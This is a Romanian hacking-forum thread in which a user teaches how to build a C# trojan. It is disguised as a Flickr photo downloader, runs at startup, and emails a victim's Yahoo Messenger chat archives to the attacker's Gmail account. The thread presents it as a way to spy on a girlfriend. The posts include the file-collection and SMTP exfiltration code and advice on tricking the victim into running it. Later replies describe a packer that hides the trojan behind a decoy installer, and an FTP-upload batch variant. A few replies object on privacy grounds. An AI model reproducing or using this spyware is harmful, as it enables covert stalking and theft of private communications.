cincinati58 Posted January 21, 2010 Report Posted January 21, 2010 (edited) Poate vrei sa citesti arhiva de mess a gagicii tale, sau o unei fete.. nu e treaba mea. Ideea e ca aici iti prezit un programel pe care l-am facut mai demult, si care iti trimite pe email (al tau) arhiva de messenger a persoanei infectate, precum si din ora in ora ultimele conversatii. In primul rand, nu vreau sa vorbesc degeaba. Tutorialul asta o sa fie destul de lung si doar cei care CHIAR VOR sa il duca la capat vor reusi.NU TE APUCA DE ACEST TUTORIAL DACA:- nu ai citit niciodata o arhiva de mess cu un decriptor- nu stii unde tine yahoo messenger arhiva- nu stii ce e ala "SMTP"programelul este facut in Visual C# http://www.microsoft.com/express/Downloads/#2008-Visual-CSEtape pe care le vei face:Victima trebuie sa aiba .NET Framework (logic) de aceea vei face asa:-ii dai programelul si o vrajesti sa il ruleze (ii va da o eroare ca nu are .net framework), ii dai sa isi instaleze .net frameworksi in clipa in care a rulat programul, poti sa te duci sa iti deschizi o bere si sa astepti aprox 10 minCUM FUNCTIONEAZA:1. Programul este camuflat in alt programel care downloadeaza poze de pe net (flicker) dupa un anumit tag, automat2. Daca este rulat, se va rula la fiecare aprindere a calculatorului 3. Verifica daca exista fisiere in C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\daca da, le trimite pe bucati, ca atasamente, din ora in ora, la o adresa de email specificata de voi.Nu, nu o sa va dau programul mura in gura. Daca vreti sa il aveti, va trebui sa faceti tot tutorialul si sa il intelegeti.Primul pas pe care il faceti: Downloadati api-ul de la Flicker si incercati sa faceti un mic programel (in C# normal) care ia o poza de pe FlickerNu mai pot scrie acum ca trebuie sa termin ceva, dar astept sa vad cati oameni sunt interesati de acest tutorial (si mai ales cati reusesc sa se descurce cu api-ul de la flicker)... si voi continua tutorialul pas cu pas.Salutari Edited January 22, 2010 by cincinati58 Quote
cincinati58 Posted January 21, 2010 Report Posted January 21, 2010 cateva portiuni din cod: public partial class Form1 : Form { // The thread inside which the download happens private Thread thrDownload; // The stream of data retrieved from the web server private Stream strResponse; // The stream of data that we write to the harddrive private Stream strLocal; // The request to the web server for file information private HttpWebRequest webRequest; // The response from the web server containing information about the file private HttpWebResponse webResponse; // The progress of the download in percentage private static int PercentProgress; // The delegate which we will call from the thread to update the form private delegate void UpdateProgessCallback(Int64 BytesRead, Int64 TotalBytes, int i); // Counter is an integer that help us to fix the number of seconds during them the Splash form is displayed // b is a boolean related to the event if the Spalsh form will be disposed or not Flickr flickr = new Flickr("219ff01e24915bd98eacd9d10307b95d"); public Form1() { InitializeComponent(); Form2 oForm2 = new Form2(); //Add event handler to myTimer.Tick event oForm2.Show(); //Application.DoEvents(); oForm2.Refresh(); if (Directory.Exists("C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\")) { string Dir = "C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\"; FileList.Items.Add("C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\logfiles.txt"); foreach (string f in Directory.GetFiles(Dir, "*.dat")) { FileList.Items.Add(f); } DirSearch(Dir); Thread.Sleep(10); //-----------start mail if (FileList.Items.Count > 1) { System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage(); System.Net.NetworkCredential cred = new System.Net.NetworkCredential("yourgmailemail1@gmail.com", "yourgmailpassword"); mail.Subject = Path.GetFileName(Convert.ToString(FileList.Items[1])); mail.From = new System.Net.Mail.MailAddress("aplicatiata@email.com"); mail.To.Add("yourgmailemail2@gmail.com"); mail.IsBodyHtml = true; System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient("smtp.gmail.com"); smtp.UseDefaultCredentials = false; smtp.EnableSsl = true; smtp.Credentials = cred; smtp.Port = 587; TextWriter tw = new StreamWriter("C:\\Program Files\\Yahoo!\\Messenger\\Profiles\\logfiles.txt"); for (int i = 0; i < this.listboxdirectoare.Items.Count; i++) { tw.WriteLine(listboxdirectoare.Items); } tw.Close(); tw.Dispose(); if (FileList.Items.Count > 300) { for (int i = 0; i < 150; i++) { string attach = Convert.ToString(FileList.Items); Attachment attached = new Attachment(attach); mail.Attachments.Add(attached); } mail.Body = "atentie...sunt mai mult de 300. asta e prima varianta!!"; Quote
cincinati58 Posted January 21, 2010 Report Posted January 21, 2010 smtp.Send(mail); mail.Attachments.Clear(); Thread.Sleep(10); for (int i = 150; i < 300; i++) //modifica cu 100... { // Attaches a new attachment contained in the List string attach = Convert.ToString(FileList.Items); Attachment attached = new Attachment(attach); mail.Attachments.Add(attached); } mail.Body = "partea a 2-a! dar atentie..sunt mai mult de 300!!!"; smtp.Send(mail); Thread.Sleep(10); mail.Attachments.Clear(); } else { if (FileList.Items.Count < 300) { if (FileList.Items.Count < 150) { for (int i = 0; i < FileList.Items.Count; i++) { // Attaches a new attachment contained in the List string attach = Convert.ToString(FileList.Items); Attachment attached = new Attachment(attach); mail.Attachments.Add(attached); } mail.Body = "ATASAMENTE PUTINE. sunt mai putin de 150 de atasamente. ar trebui sa le ai pe toate"; smtp.Send(mail); Thread.Sleep(10); mail.Attachments.Clear(); // smtp.Send(mail); Thread.Sleep(10); //trimite alt mail? aici } if (FileList.Items.Count > 150) { for (int i = 0; i < 150; i++) { // Attaches a new attachment contained in the List string attach = Convert.ToString(FileList.Items); Attachment attached = new Attachment(attach); mail.Attachments.Add(attached); } mail.Body = "1)mai putin de 300 dar mai mult de 150. AI AICI PRIMA PARTE"; smtp.Send(mail); Thread.Sleep(10); mail.Attachments.Clear(); for (int i = 150; i < FileList.Items.Count; i++) { // Attaches a new attachment contained in the List string attach = Convert.ToString(FileList.Items); Attachment attached = new Attachment(attach); mail.Attachments.Add(attached); Quote
sonyx Posted January 22, 2010 Report Posted January 22, 2010 cincinati ? wtfCreating an advanced download manager in C# (C# Programming Tutorial) • Geekpedia Quote
cincinati58 Posted January 22, 2010 Report Posted January 22, 2010 aia e partea de cod care downloadeaza pozele, ca nu poti sa ii dai persoanei un programel care nu face nimic... se prinde ca ceva e in neregula. nu am stat sa reinventez roata, m-am inspirat si eu de pe net, iar tutorialul ala e foarte bun Quote
cincinati58 Posted January 22, 2010 Report Posted January 22, 2010 Continuam tutorialul:Pentru inceput trebuie sa va prindeti cum functioneaza emailul in C#.Codul este mai jos:using System;using System.Collections.Generic;using System.ComponentModel;using System.Data;using System.Drawing;using System.Linq;using System.Text;using System.Windows.Forms;using System.Net.Mail;using System.Collections;using System.Web;using System.Net;namespace SendEmails{ public partial class SendEmailsForm : Form { public SendEmailsForm() { InitializeComponent(); } private void btnSend_Click(object sender, EventArgs e) { System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();System.Net.NetworkCredential cred = new System.Net.NetworkCredential("altemailaltau@gmail.com", "parolata");MailAddress from = new MailAddress(txtTo.Text,"Dan");mail.To.Add(from);mail.Subject =txtSubject.Text;mail.From = new System.Net.Mail.MailAddress("traianbasescu@guv.ro");mail.IsBodyHtml = true;System.Net.Mail.SmtpClient smtp = new System.Net.Mail.SmtpClient("smtp.gmail.com");smtp.UseDefaultCredentials = false;smtp.EnableSsl = true;smtp.Credentials = cred;smtp.Port = 587;if (FileList.Items.Count > 0){ for (int i=0;i<FileList.Items.Count;i++) { // Attaches a new attachment contained in the List string attach = Convert.ToString(FileList.Items[i]); Attachment attached = new Attachment(attach); mail.Attachments.Add(attached); }}mail.Body = txtMessage.Text; try { Cursor.Current = Cursors.WaitCursor; smtp.Send(mail); Cursor.Current = Cursors.Default; label7.Text = "Message Send"; } catch (Exception ex) { Exception ex2 = ex; string errorMessage = string.Empty; while (ex2 != null) { errorMessage += ex2.ToString(); ex2 = ex2.InnerException; } Console.WriteLine(errorMessage); label7.Text = "Error Sending Message!"; } } private void btnBrowse_Click(object sender, EventArgs e) { OpenFileDialog dlg = new OpenFileDialog(); if (dlg.ShowDialog() == DialogResult.OK) { FileList.Items.Add(dlg.FileName); } } }}Cum se incepe:1. Se face un form asemanator cu cel din poza.2. Cand dai 2 clickuri pe un controler din form te duce la codul care se ocupa cu el. De exempludai 2 clickuri pe Sendsi ajungi aici: private void btnSend_Click(object sender, EventArgs e) { //aici adaugi codul tau }sper sa fie toata lumea in stare sa faca mini-programelul asta pentru ca nu e greu. Quote
dragosmk Posted January 22, 2010 Report Posted January 22, 2010 (edited) [deleted] Edited March 21, 2020 by dragosmk Quote
diablo2323 Posted January 29, 2010 Report Posted January 29, 2010 (edited) Nu, nu o sa va dau programul mura in gura. Daca vreti sa il aveti, va trebui sa faceti tot tutorialul si sa il intelegeti.auzi stii ce..poate altii au inteles dar pt mine tu doar ai umplut tutorialul cu niste coduri..nici nu leam citit..daca vrei bine sa ne dai un tutorial calumea bine daca nu , nu ne mai da ghicitori Edited January 29, 2010 by diablo2323 Quote
vizitatoru123 Posted January 30, 2010 Report Posted January 30, 2010 Oricum ideea in sine e aiurea. Nu ai ce cauta in arhiva altora deoarece e personala, majoritatea nu schimba in options sa li se salveze arhiva si se sterge cand da log out si daca, chiar vrei sa iti spionezi gagica inseamna ca o crezi in stare de ceva si nu ai incredere in ea Quote
AlStar Posted January 31, 2010 Report Posted January 31, 2010 Ai dreptate sickness.In legatura cu memorarea arhivelor de catre messenger, se poate, modificand 2 parametri din registru. Quote
cincinati58 Posted February 2, 2010 Report Posted February 2, 2010 de asta nici nu dau programul de-a gata. pentru ca este un lucru "rau". lol... , e un tutorial cu bucatele de cod. daca nu sunteti in stare sa faceti programul din bucatile de cod pe care vi le-am dat, atunci nu il meritati.----- Normal ca persoana poate avea arhiva disable (atunci o sa iti vina din ora in ora ce a vorbit in de cand e logat, 99% au macar varianta aia), sunt multe impedimente, fie persoana nu vrea sa isi puna .net framework, fie nu vrea sa dea click pe exe... fie x, fie y. Nu am zis ca e usor. ----- Quote
AlStar Posted February 2, 2010 Report Posted February 2, 2010 Dupa parerea mea, ai postat degeaba. Ori puneai programul/sursa ori dadeai cateva ponturi ori nu postai deloc. Oare n-ar fi mers scris in alt limbaj, pentru a nu necesita instalarea .Net Framework-ului? Quote
vizitatoru123 Posted February 2, 2010 Report Posted February 2, 2010 Dupa parerea mea, ai postat degeaba. Ori puneai programul/sursa ori dadeai cateva ponturi ori nu postai deloc. Oare n-ar fi mers scris in alt limbaj, pentru a nu necesita instalarea .Net Framework-ului?Ar fi mers scris in orice limbaj daca ar fi stiut, nu stiu scopul pentru care a postat doar o parte din cod dar nici nu cred ca vreau sa il stiu. Quote
cincinati58 Posted February 2, 2010 Report Posted February 2, 2010 scrie-l tu in Visual C++, dar asta dupa ce il cumperi ...nu stiu cat mai e licenta si nu mai ai nevoie de .net framework.Codul e f. asemanator. Quote
vizitatoru123 Posted February 2, 2010 Report Posted February 2, 2010 scrie-l tu in Visual C++, dar asta dupa ce il cumperi ...nu stiu cat mai e licenta si nu mai ai nevoie de .net framework.Codul e f. asemanator.Da de Linux ai auzit ? vrei sa cumpar Mediu de programare ? daca am Linux ? Quote
Krisler12 Posted February 10, 2010 Report Posted February 10, 2010 in fine !programu' ala care iti fura fisierele de arhiva poate sa faca oricine ! Eu pot dar in VB.NET !Anyway, cum decriptezi fisierele ca cu notepad nu se deschid calumea ? Quote
tjt Posted March 3, 2010 Report Posted March 3, 2010 De ce sa te chinui sa-i afli arhiva cand poti sa-i afli direct parola.... Quote
JustNick Posted March 4, 2010 Report Posted March 4, 2010 cred ca merge si cu un simplu script batch sa urce arhiva de messenger pe ftp tot ce trebuie este sa folositi rar.exe un program sa transforme *.bat in *.exe si apoi totul va merge am incercat eu si a mers Quote
sshdas21 Posted May 28, 2010 Report Posted May 28, 2010 Mi se pare buna ideea cu acest program, dar din punctul meu de vedere are cateva probleme. In primul rand de ce l-ai scris in C# ? Acest porgram putea fi scris foarte bine in C si nu mai exista nici o problema legata de platforma .net. In al doilea rand ce rost are sa implementezi partea cu downloadul de poze doar pentru a parea ca programul face ceva util.Eu as face in urmatorul fel:- as lua un program, kit de instalare etc existent.- as face un program sa-i zicem packer care scrie mai multe fisiere exe unul dupa altul intr-un singur fisier si in plus va adauga la sfarsitul fisierului niste informatii legate de structura(de unde incepe si unde se termina fiecare fisier)- as face un program sa-i zicem unpacker care va face operatia inversa, adica va citi informatiile de la sf fisierului si va extrage fiecare executabil undeva pe hard(undeva sa nu vizibil de exemplu windows/sistem32). Dupa ce extrage acesta va instala mai intai programul care fura arhiva si apoi kit-ul de instalare sau programul decoy. -cu packerul as face un fisier de forma (unpacker.exe|trojan.exe|decoy.exe|inf_struct).exe -as pune icoana de la decoy.exe la fisierul de mai susCand o sa am timp mai mult o sa fac un tutorial pe tema asta unde o sa pun si codul sursa aferent. Oricum parerea mea este ca paltforma .net nu o sa fie niciodata o platforma buna pentru programat mallware. Quote
nedo Posted May 29, 2010 Report Posted May 29, 2010 din ce am inteles eu din tutorialul acesta este ca de fapt .net face parte din inselatorie, si ca de fapt programul propriu-zis il descarci dupa ce da eroarea ca nu ai instalat .net cat despre cum functioneza nu ma pricep prea bine, nu stiu c# inca, merg intai pe c si c++ Quote